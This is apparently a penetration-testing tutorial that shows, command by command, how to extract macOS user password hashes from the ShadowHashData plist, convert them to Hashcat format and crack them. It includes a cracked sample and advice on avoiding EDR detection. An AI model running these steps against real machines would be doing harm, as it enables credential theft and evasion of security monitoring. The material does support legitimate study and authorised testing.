Skip to main content

macOS Hash Dumping

In this post, we will take a look at how to obtain the password hash from users on a macOS system. macOS uses a "SALTED-SHA512-PBKDF2" hash format for its user accounts. The way that macOS stores users, each users' data is stored in a property list (plist) file which is stored in the /var/db/dslocal/nodes/Default/users directory. Each file is named username.plist. It should be noted that you must have sudo ability to access the user data in that directory.

This will explore a very manual method process to extract the hash and format the data so that we can run it through Hashcat. There are available scripts to automate this process and I linked to a very nice one below. However, my exerience is that these scripts will likely be picked up by EDR software. So, therefore it is worth noting how to perform this manually.


First, get a list of users that are configured on the device.

dscl . -list /Users

Once you have the username of the target account, dump the ShadowHashData section from the plist file. In this example, the target user is "steve".

sudo dscl . -read /Users/steve ShadowHashData >> steve.hashdata

If you were to look at this file, you will see it is in hex format. So, you will need to convert this data and write it out to a new file.

cat steve.hashdata | tail -n 1 | xxd -r -p | plutil -convert xml1 - -o steve.plist

Now, you can review the data in the steve.plist file which is now just text data.

cat steve.plist

The data we are interested in is the SALTED-SHA512-PBKDF2 entry:

<key>SALTED-SHA512-PBKDF2</key>
<dict>
<key>entropy</key>
<data>
fN0UaJVva6Fbqjkfrwdem2jJJHsDilfZFs9U4mAdsptZLC6r/nKMVBIQH5IU
auXBW/E4PwGDsczqONxE2fUQ0dkOgAKRVwnAghsIjdYxLsuK8v49MfqYgHUm
+c2oWGC6odhO6KPBpSOSGTcuAuJh6s6db995GrN5eT/zbENFrDg=
</data>
<key>iterations</key>
<integer>123456</integer>
<key>salt</key>
<data>
2sVKYYXpCALwLH6uHzzeH/0KgaPbl++OW0baubgcJwo=
</data>
</dict>

There are 3 keys in that data; entropy, iterations, & salt. The iterations key is the easiest as it is a simple integer value. The entropy & salt are data types, and require some decoding before adding it to the Hashcat format.

Manually convert the hash into Hashcat format for cracking

The Hashcat format for the macOS hashes look like this:

$ml$<iterations(integer)>$<salt(hex)>$<entropy(hex)>
KeywordDescription
iterationsThis is a simple integer value
saltThis value is in hex, and base64 encoded
entropyThis value is in hex, and base64 encoded

The iterations data is a simple integer value that we can just copy out for the Hashcat format.

After that, we will calculate the salt value and write it out to a new file called salt:

echo "2sVKYYXpCALwLH6uHzzeH/0KgaPbl++OW0baubgcJwo=" | base64 -D | xxd -p | tr -d \\n > salt
cat salt
dac54a6185e90802f02c7eae1f3cde1ffd0a81a3db97ef8e5b46dab9b81c270a

Next, calculate the entropy value and write it out to a new file called entropy:

echo "fN0UaJVva6Fbqjkfrwdem2jJJHsDilfZFs9U4mAdsptZLC6r/nKMVBIQH5IUauXBW/E4PwGDsczqONxE2fUQ0dkOgAKRVwnAghsIjdYxLsuK8v49MfqYgHUm+c2oWGC6odhO6KPBpSOSGTcuAuJh6s6db995GrN5eT/zbENFrDg=" | base64 -D | xxd -p | tr -d \\n > entropy
cat entropy
7cdd1468956f6ba15baa391faf075e9b68c9247b038a57d916cf54e2601db29b592c2eabfe728c5412101f92146ae5c15bf1383f0183b1ccea38dc44d9f510d1d90e8002915709c0821b088dd6312ecb8af2fe3d31fa98807526f9cda85860baa1d84ee8a3c1a5239219372e02e261eace9d6fdf791ab379793ff36c4345ac38

Putting this together in the format mentioned above, the full value is shown below. Save this out to a new file called hash.txt

$ml$123456$dac54a6185e90802f02c7eae1f3cde1ffd0a81a3db97ef8e5b46dab9b81c270a$7cdd1468956f6ba15baa391faf075e9b68c9247b038a57d916cf54e2601db29b592c2eabfe728c5412101f92146ae5c15bf1383f0183b1ccea38dc44d9f510d1d90e8002915709c0821b088dd6312ecb8af2fe3d31fa98807526f9cda85860baa1d84ee8a3c1a5239219372e02e261eace9d6fdf791ab379793ff36c4345ac38

Automated conversion of the hash into Hashcat format for cracking

There is a very nice script created by "teddziuba" and hosted on their GitHub Gist (link below). In most cases, I like to pull the user's plist file and then extract the data on another host. This prevents tripping any security software on the host you are testing and then this script runs nicely without interruptions on your isolated system. Granted you have to modify it slightly to use it this way!

danger

I can confirm this will be detected by CrowdStrike. Use at your own risk!

https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2

python3 osx_extract_hash.py username

This output will use the username as a prefix to the Hashcat format. Therefore, you will need to alter the Hashcat command to include the --username option. Review the header comments of the script for more information.

Run Hashcat to attempt cracking the password

Get the Hashcat mode for macOS. In this case, we need the PBKDF2-SHA512 mode of 7100:

hashcat --help | grep -i macos
122 | macOS v10.4, macOS v10.5, macOS v10.6 | Operating System
1722 | macOS v10.7 | Operating System
7100 | macOS v10.8+ (PBKDF2-SHA512) | Operating System

Run hashcat to crack the password hash using a password list:

hashcat -a 0 -m 7100 hash.txt wordlist.txt

# or if you used the script:
hashcat -a 0 -m 7100 --username hash.txt wordlist.txt

Sample output:

(truncated data)

...

$ml$123456$dac54a6185e90802f02c7eae1f3cde1ffd0a81a3db97ef8e5b46dab9b81c270a$7cdd1468956f6ba15baa391faf075e9b68c9247b038a57d916cf54e2601db29b592c2eabfe728c5412101f92146ae5c15bf1383f0183b1ccea38dc44d9f510d1d90e8002915709c0821b088dd6312ecb8af2fe3d31fa98807526f9cda85860baa1d84ee8a3c1a5239219372e02e261eace9d6fdf791ab379793ff36c4345ac38:P@ssw0rd

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 7100 (macOS v10.8+ (PBKDF2-SHA512))
Hash.Target......: $ml$123456$dac54a6185e90802f02c7eae1f3cde1ffd0a81a3...45ac38
Time.Started.....: Sat Dec 7 12:30:15 2024 (22 secs)
Time.Estimated...: Sat Dec 7 12:30:37 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (password.lst)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 0 H/s (0.95ms) @ Accel:96 Loops:8 Thr:32 Vec:1
Speed.#2.........: 0 H/s (0.00ms) @ Accel:64 Loops:128 Thr:128 Vec:1
Speed.#*.........: 0 H/s
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 5/5 (100.00%)
Rejected.........: 0/5 (0.00%)
Restore.Point....: 0/5 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:123448-123455
Restore.Sub.#2...: Salt:0 Amplifier:0-0 Iteration:0-128
Candidate.Engine.: Device Generator
Candidates.#1....: password -> P@ssw0rd
Candidates.#2....: [Copying]
Hardware.Mon.#1..: Util: 81%
Hardware.Mon.#2..: Util: 0%

[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => Started: Sat Dec 7 12:29:46 2024
Stopped: Sat Dec 7 12:30:38 2024

Show the cracked password. The output will be in a formate of hash:password. In this case the password is P@ssw0rd.

hashcat -m 7100 hash.txt -a 0 password.lst --show
$ml$123456$dac54a6185e90802f02c7eae1f3cde1ffd0a81a3db97ef8e5b46dab9b81c270a$7cdd1468956f6ba15baa391faf075e9b68c9247b038a57d916cf54e2601db29b592c2eabfe728c5412101f92146ae5c15bf1383f0183b1ccea38dc44d9f510d1d90e8002915709c0821b088dd6312ecb8af2fe3d31fa98807526f9cda85860baa1d84ee8a3c1a5239219372e02e261eace9d6fdf791ab379793ff36c4345ac38:P@ssw0rd
note

It is recommended to perform only a wordlist attack since the time to perform a brute-force attack will take decades to complete.